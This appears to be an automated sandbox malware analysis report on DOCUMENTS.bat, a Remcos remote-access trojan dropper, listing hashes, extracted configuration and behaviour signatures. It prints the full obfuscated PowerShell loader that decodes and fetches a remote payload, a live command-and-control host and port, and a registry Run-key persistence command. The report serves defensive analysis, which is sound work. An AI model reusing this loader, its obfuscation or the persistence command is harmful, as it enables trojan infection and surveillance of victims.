Analysis
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max time kernel
147s -
max time network
134s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
31-01-2025 08:09
Static task
static1
Behavioral task
behavioral1
Sample
DOCUMENTS.bat
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
DOCUMENTS.bat
Resource
win10v2004-20250129-en
General
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Target
DOCUMENTS.bat
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Size
4KB
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MD5
7025208c5d6067587a8751c96fad91bb
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SHA1
83c115ba5c3383e18ec4fc18bcd867ef25867684
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SHA256
806fca5f68d315a77af1d8ac514192a59fabee15ad1d171eefcb2fd8ea6e2aa1
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SHA512
ae642cd90acabbae5fe71267ca1e378090c0d38ab831314c5157ba137826d001766f69cbf379865e0089b31d12604d72e51d302215b8ab01b29d8c97ea29cc0b
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SSDEEP
96:uC+ueoWu3xTKFjwSd7XphWxDI2o9vJ17RAy39Qy2l0ShxkdN:uHubp3QFM4muwy39Qy2lTuf
Malware Config
Extracted
remcos
Bvas572137Ele
www.caravanehamburg.de:8563
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audio_folder
MicRecords
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audio_path
ApplicationPath
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Fahfg62153EbG-7BXUPM
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Remcos family
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Blocklisted process makes network request 11 IoCs
flow pid Process 5 2288 powershell.exe 8 2920 powershell.exe 9 2920 powershell.exe 10 2920 powershell.exe 11 2920 powershell.exe 13 2920 powershell.exe 15 2920 powershell.exe 17 2920 powershell.exe 19 2920 powershell.exe 21 2920 powershell.exe 23 2920 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2288 powershell.exe 2920 powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\Acotyledonous = "%Hemidactylus% -windowstyle 1 $Bc=(gi 'HKCU:\\Software\\Sprhagens\\').GetValue('Laramie');%Hemidactylus% ($Bc)" reg.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 2920 powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 2920 powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2288 powershell.exe 2920 powershell.exe 2920 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2288 powershell.exe Token: SeDebugPrivilege 2920 powershell.exe -
Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 2060 wrote to memory of 2288 2060 cmd.exe 30 PID 2060 wrote to memory of 2288 2060 cmd.exe 30 PID 2060 wrote to memory of 2288 2060 cmd.exe 30 PID 2920 wrote to memory of 2452 2920 powershell.exe 35 PID 2920 wrote to memory of 2452 2920 powershell.exe 35 PID 2920 wrote to memory of 2452 2920 powershell.exe 35 PID 2920 wrote to memory of 2452 2920 powershell.exe 35 PID 2452 wrote to memory of 1884 2452 cmd.exe 37 PID 2452 wrote to memory of 1884 2452 cmd.exe 37 PID 2452 wrote to memory of 1884 2452 cmd.exe 37 PID 2452 wrote to memory of 1884 2452 cmd.exe 37
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\DOCUMENTS.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2060 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "echo $Udstykningsomraaders; function Basunistens($Kalkeringers){$Eager=2;do{$Hjttaleranlggenes71+=$Kalkeringers[$Eager];$Eager+=3} until(!$Kalkeringers[$Eager])$Hjttaleranlggenes71}function Rebelly($belittlers){ .($Prparaternes) ($belittlers)}$Vandhanerne=Basunistens 'S NHoeA TV,. Dw';$Vandhanerne+=Basunistens 'L.eNeBL c Hl Li BeInNAfT';$Samilla=Basunistens 'S MAnoNoz Si.ilEdlSka ,/';$Eagermpulsfunktions=Basunistens '.lT Fl ys,v1 p2';$Xenoparasitism=' n[ GnViepyt ..C SCuE BRA VO.i Cn eSqPFro Li,iN MT vm Ra .nMeaElG DEVirSt]Do:.a: aSLaE TcB,UReRDjit TP yN.P RKuo ttL OMaCProUdlFo=Re$BeeInA eGKee r bM phaU LNeST.FS,U N TKReTSviBaOQun iS';$Samilla+=Basunistens 'Lu5An. v0Ge Bi(exW,ui InNodCao Aw FsTr eNBaT.i He1St0 C.Pr0Co;Mi ToWCliUnn 6Ap4Im;T. Ax e6Ju4Re;So Anr,ivK,:,l1K 3Mo4.m.Fr0 )Mu nG We.ocR,kAwoSk/ r2 g0P,1Ha0Sa0 C1,n0G,1 S cF Ti ar GeBofBlos,xMn/Sa1M 3.i4Te. R0';$recontemplating=Basunistens 'C uAws HeMiRSe-.saM gRiEPiNSeT';$Splejser=Basunistens ' ihA,tMot hpVe:Te/Ku/d wZowErw . .tPahSke Nv FiMesCli MoSynVeo PfL.eMen Ue nr AgT y K.c c .o RmDy/PeJ VePho UpT /BrCKihAni NgHunDooF.nNoeKvnE..A m sPoo';$Monophonies=Basunistens 'Ta>';$Prparaternes=Basunistens 'SaIFoEMoX';$officialise='Circumconic';$Christianshavneres='\Sippenipper.Sge';Rebelly (Basunistens 'T $ ,GNoL.yO SBKrA SlKo:m aSnfpnd UeH.L PI nN ,G,aSP.sWiY dG.rENeP PLFyED.Js EPerA.sAmK .E IRStN eeP 1p,6Re3Ne=E $FieTrN Iv N:N.A,iPshPZaDMaA et aAT +La$,oc ahleRPrI.is.atS iwrAStNS SSuHP,A eVMiNChe pRFie ,S');Rebelly (Basunistens 'Un$PaG lT,ODob,iaFoL D:BrrUnoA,M .ASnSJo=B $,nsBipUglPoE FjDaS ESor . s xpT.L TI t a(Sy$ omMeO.nN eoInPS.hFlO RN Vi REKos e)');Rebelly (Basunistens $Xenoparasitism);$Splejser=$Romas[0];$Byggearbejdere=(Basunistens 'Fr$U.gBrlMoo aBO aAuLCa:DerNaE uL IIW G KiSaOHuNP SStSPiTIrR UI MD IE.gKihBueGedUn=UnNC E DwCa-KhO SBGaJFiEMaC.nTU. ,sFoyS SSst ReMem,a.p,$ScV haAlnfodSkH hAFln tE ,RBrnBrE');Rebelly ($Byggearbejdere);Rebelly (Basunistens 'S,$H,RUneViltaiPyghuiMeo OnNas nsh tu r DiPodPriFzgHehAneTrd S. aH TeGaaEudBnePlr s ,[ B$ForRee UcS,o InM tS eRempupF lFuaS tS iSpn ng r]Mo=Ho$E.SSaad m,piVelPil Oa');$Afslibningen=Basunistens 'Su$ dROneHyl iFrgD iGao,gnNnsDas tForStiArdS iP gDuhDieOcddo. aDdooU,wTenDal eo la rd.nFUni Sl Fe i(Be$ TSmapFelHoe TjDesCheD rkl,Sa$JaC HoPhmEnpFoa mtAni.aeomnSitTh8An1P )';$Compatient81=$Afdelingssygeplejerskerne163;Rebelly (Basunistens 'Ka$SlgSol soSabs,a,eLFl:V G .u SDKoS Freo IR UGKaaMeaMde NboDTaeSl=Be(TrtOse ,S.ytfd-Frp VaDitHyHH, An$Dic,dO OmFePNoaF tImIF e.en fTCa8 e1Ma)');while (!$Gudsforgaaende) {Rebelly (Basunistens '.r$ yg.nlSaoG bSya lBr:hjD.ui UrVaeL,k ItToi nv.ie BrJanUdeSksDi=,a$ViDCoo jnZaeTyrskeStdP.e') ;Rebelly $Afslibningen;Rebelly (Basunistens 'udSuntReA,trPuTCu-ElSOpLSaEFaeSap B 4');Rebelly (Basunistens ' m$WiGArlenO BMoaU LUn: BG Bu.odC sR FS O aRPaGKna vAHee N D SE =,h(PoTI e es mt F-Pap FaHeT Lh.i ,$.sCk oCommepGiASpT i UERenAct S8Sc1 T)') ;Rebelly (Basunistens 'Ra$NoGDiLOvOM bDiAF,lR :Leb,oO btRihO,iJuEIl2Ti2 4 P= a$ G,olYaOAlBSya lS :Dip UOB.LAkYKeaSkdMaeT.l,oPMyHPaIEuAC + O+ D%Pu$AuRS.oBrMRhaAfsIm. FCUnoAluMyN.et') ;$Splejser=$Romas[$Bothie224]}$Hjlpemiddels223=331968;$Rucked=28368;Rebelly (Basunistens ' $BogScLSuOOvb oaSkL A: DFeARof rFLaY .DDooZiWT N ldAri L elPiY U H=Re DeGAreOvT T-DecgeO tNSttTueNanD TSu fo$NicPhOCoM,sPSiA sT eIPee,aNRoTSk8 1');Rebelly (Basunistens ' B$b,g lBooBrbOva.ol i:P sCim TaPea MkForduaEnvIsl.rsPr Fi=Ng Am[,nS nySusOvt oeBjmTi.SpCHjoF nSav eStrKotSt] a:Ac: FP.r.koC mDaB Ma rsS eSu6Sm4.iSR tusr iUdnC gEl(Po$ DIna ,fAmfS yCod oViw ,nDadafi Ll olPayL.)');Rebelly (Basunistens 'No$C GUdlFaoT b.oaW lSm:AnKTorPeAH KP nMeIYaN ngG Etsns ag=Gr N[ErsSpYH,sOvTSbE umNo.SkT,eES X Ht p.Exe eNSmCNaODeD,aiKeN gA,] C:Bi:,vA KSHyc I liSi.A G MeKatUrs.at.lr i eNC.g I( A$LiSLpmReaFoA AK ,r.vA .vDol rsJe)');Rebelly (Basunistens ' ,$X GRoLFioO,b A,il : CCV o pnBrtAurPlaNoSVatKn=Ba$TakI rF AF,kCenKoiDanSmgJaefeN.h.R sInU aBBesD tSoRn IneNStg.t( o$ nHmij.klDePGlemem eI dcyDIne.olk sE 2,f2m 3 C, l$ReR ZULyCfokfieomdCe)');Rebelly $Contrast;"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2288
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "echo $Udstykningsomraaders; function Basunistens($Kalkeringers){$Eager=2;do{$Hjttaleranlggenes71+=$Kalkeringers[$Eager];$Eager+=3} until(!$Kalkeringers[$Eager])$Hjttaleranlggenes71}function Rebelly($belittlers){ .($Prparaternes) ($belittlers)}$Vandhanerne=Basunistens 'S NHoeA TV,. Dw';$Vandhanerne+=Basunistens 'L.eNeBL c Hl Li BeInNAfT';$Samilla=Basunistens 'S MAnoNoz Si.ilEdlSka ,/';$Eagermpulsfunktions=Basunistens '.lT Fl ys,v1 p2';$Xenoparasitism=' n[ GnViepyt ..C SCuE BRA VO.i Cn eSqPFro Li,iN MT vm Ra .nMeaElG DEVirSt]Do:.a: aSLaE TcB,UReRDjit TP yN.P RKuo ttL OMaCProUdlFo=Re$BeeInA eGKee r bM phaU LNeST.FS,U N TKReTSviBaOQun iS';$Samilla+=Basunistens 'Lu5An. v0Ge Bi(exW,ui InNodCao Aw FsTr eNBaT.i He1St0 C.Pr0Co;Mi ToWCliUnn 6Ap4Im;T. Ax e6Ju4Re;So Anr,ivK,:,l1K 3Mo4.m.Fr0 )Mu nG We.ocR,kAwoSk/ r2 g0P,1Ha0Sa0 C1,n0G,1 S cF Ti ar GeBofBlos,xMn/Sa1M 3.i4Te. R0';$recontemplating=Basunistens 'C uAws HeMiRSe-.saM gRiEPiNSeT';$Splejser=Basunistens ' ihA,tMot hpVe:Te/Ku/d wZowErw . .tPahSke Nv FiMesCli MoSynVeo PfL.eMen Ue nr AgT y K.c c .o RmDy/PeJ VePho UpT /BrCKihAni NgHunDooF.nNoeKvnE..A m sPoo';$Monophonies=Basunistens 'Ta>';$Prparaternes=Basunistens 'SaIFoEMoX';$officialise='Circumconic';$Christianshavneres='\Sippenipper.Sge';Rebelly (Basunistens 'T $ ,GNoL.yO SBKrA SlKo:m aSnfpnd UeH.L PI nN ,G,aSP.sWiY dG.rENeP PLFyED.Js EPerA.sAmK .E IRStN eeP 1p,6Re3Ne=E $FieTrN Iv N:N.A,iPshPZaDMaA et aAT +La$,oc ahleRPrI.is.atS iwrAStNS SSuHP,A eVMiNChe pRFie ,S');Rebelly (Basunistens 'Un$PaG lT,ODob,iaFoL D:BrrUnoA,M .ASnSJo=B $,nsBipUglPoE FjDaS ESor . s xpT.L TI t a(Sy$ omMeO.nN eoInPS.hFlO RN Vi REKos e)');Rebelly (Basunistens $Xenoparasitism);$Splejser=$Romas[0];$Byggearbejdere=(Basunistens 'Fr$U.gBrlMoo aBO aAuLCa:DerNaE uL IIW G KiSaOHuNP SStSPiTIrR UI MD IE.gKihBueGedUn=UnNC E DwCa-KhO SBGaJFiEMaC.nTU. ,sFoyS SSst ReMem,a.p,$ScV haAlnfodSkH hAFln tE ,RBrnBrE');Rebelly ($Byggearbejdere);Rebelly (Basunistens 'S,$H,RUneViltaiPyghuiMeo OnNas nsh tu r DiPodPriFzgHehAneTrd S. aH TeGaaEudBnePlr s ,[ B$ForRee UcS,o InM tS eRempupF lFuaS tS iSpn ng r]Mo=Ho$E.SSaad m,piVelPil Oa');$Afslibningen=Basunistens 'Su$ dROneHyl iFrgD iGao,gnNnsDas tForStiArdS iP gDuhDieOcddo. aDdooU,wTenDal eo la rd.nFUni Sl Fe i(Be$ TSmapFelHoe TjDesCheD rkl,Sa$JaC HoPhmEnpFoa mtAni.aeomnSitTh8An1P )';$Compatient81=$Afdelingssygeplejerskerne163;Rebelly (Basunistens 'Ka$SlgSol soSabs,a,eLFl:V G .u SDKoS Freo IR UGKaaMeaMde NboDTaeSl=Be(TrtOse ,S.ytfd-Frp VaDitHyHH, An$Dic,dO OmFePNoaF tImIF e.en fTCa8 e1Ma)');while (!$Gudsforgaaende) {Rebelly (Basunistens '.r$ yg.nlSaoG bSya lBr:hjD.ui UrVaeL,k ItToi nv.ie BrJanUdeSksDi=,a$ViDCoo jnZaeTyrskeStdP.e') ;Rebelly $Afslibningen;Rebelly (Basunistens 'udSuntReA,trPuTCu-ElSOpLSaEFaeSap B 4');Rebelly (Basunistens ' m$WiGArlenO BMoaU LUn: BG Bu.odC sR FS O aRPaGKna vAHee N D SE =,h(PoTI e es mt F-Pap FaHeT Lh.i ,$.sCk oCommepGiASpT i UERenAct S8Sc1 T)') ;Rebelly (Basunistens 'Ra$NoGDiLOvOM bDiAF,lR :Leb,oO btRihO,iJuEIl2Ti2 4 P= a$ G,olYaOAlBSya lS :Dip UOB.LAkYKeaSkdMaeT.l,oPMyHPaIEuAC + O+ D%Pu$AuRS.oBrMRhaAfsIm. FCUnoAluMyN.et') ;$Splejser=$Romas[$Bothie224]}$Hjlpemiddels223=331968;$Rucked=28368;Rebelly (Basunistens ' $BogScLSuOOvb oaSkL A: DFeARof rFLaY .DDooZiWT N ldAri L elPiY U H=Re DeGAreOvT T-DecgeO tNSttTueNanD TSu fo$NicPhOCoM,sPSiA sT eIPee,aNRoTSk8 1');Rebelly (Basunistens ' B$b,g lBooBrbOva.ol i:P sCim TaPea MkForduaEnvIsl.rsPr Fi=Ng Am[,nS nySusOvt oeBjmTi.SpCHjoF nSav eStrKotSt] a:Ac: FP.r.koC mDaB Ma rsS eSu6Sm4.iSR tusr iUdnC gEl(Po$ DIna ,fAmfS yCod oViw ,nDadafi Ll olPayL.)');Rebelly (Basunistens 'No$C GUdlFaoT b.oaW lSm:AnKTorPeAH KP nMeIYaN ngG Etsns ag=Gr N[ErsSpYH,sOvTSbE umNo.SkT,eES X Ht p.Exe eNSmCNaODeD,aiKeN gA,] C:Bi:,vA KSHyc I liSi.A G MeKatUrs.at.lr i eNC.g I( A$LiSLpmReaFoA AK ,r.vA .vDol rsJe)');Rebelly (Basunistens ' ,$X GRoLFioO,b A,il : CCV o pnBrtAurPlaNoSVatKn=Ba$TakI rF AF,kCenKoiDanSmgJaefeN.h.R sInU aBBesD tSoRn IneNStg.t( o$ nHmij.klDePGlemem eI dcyDIne.olk sE 2,f2m 3 C, l$ReR ZULyCfokfieomdCe)');Rebelly $Contrast;"1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2920 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Acotyledonous" /t REG_EXPAND_SZ /d "%Hemidactylus% -windowstyle 1 $Bc=(gi 'HKCU:\Software\Sprhagens\').GetValue('Laramie');%Hemidactylus% ($Bc)"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2452 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Acotyledonous" /t REG_EXPAND_SZ /d "%Hemidactylus% -windowstyle 1 $Bc=(gi 'HKCU:\Software\Sprhagens\').GetValue('Laramie');%Hemidactylus% ($Bc)"3⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
PID:1884
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
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Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RI9HUWZOE1JAGM5774XH.temp
Filesize7KB
MD5acf40d0f9215ae3eb6890f2c6c119963
SHA139dfb178e13f48227287a003883281eb1bbfa618
SHA256e6fc7fe48428a4c75e68d3e3fe69171cfd6da4b6b3fa67e5f6d3d19de26051b4
SHA512eefa41157918b5795ad4d09902657d2b466e6094edf03367135b06c5667ab7b95f9e9c200c795e1560c87a7f780182fee704772b08db2a3c6c8f3a8fcb45fadb
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Filesize
469KB
MD5bd591a627872df6cf9d82c96994abdd9
SHA1caad35c5bdbdaba1a3f728e60a8aa28220938056
SHA2565a86a332e61c9eaf949d28891611a6eaa4baa327b776703a559fe9cd329f8f1b
SHA512800a478e3827babe983980e155fe630c14c191e4b214d9d7b18bcfe94ebcf65a00b9a9210cd2aeb7525848922bea036e6e33fa5f7268a93a6f526db828083304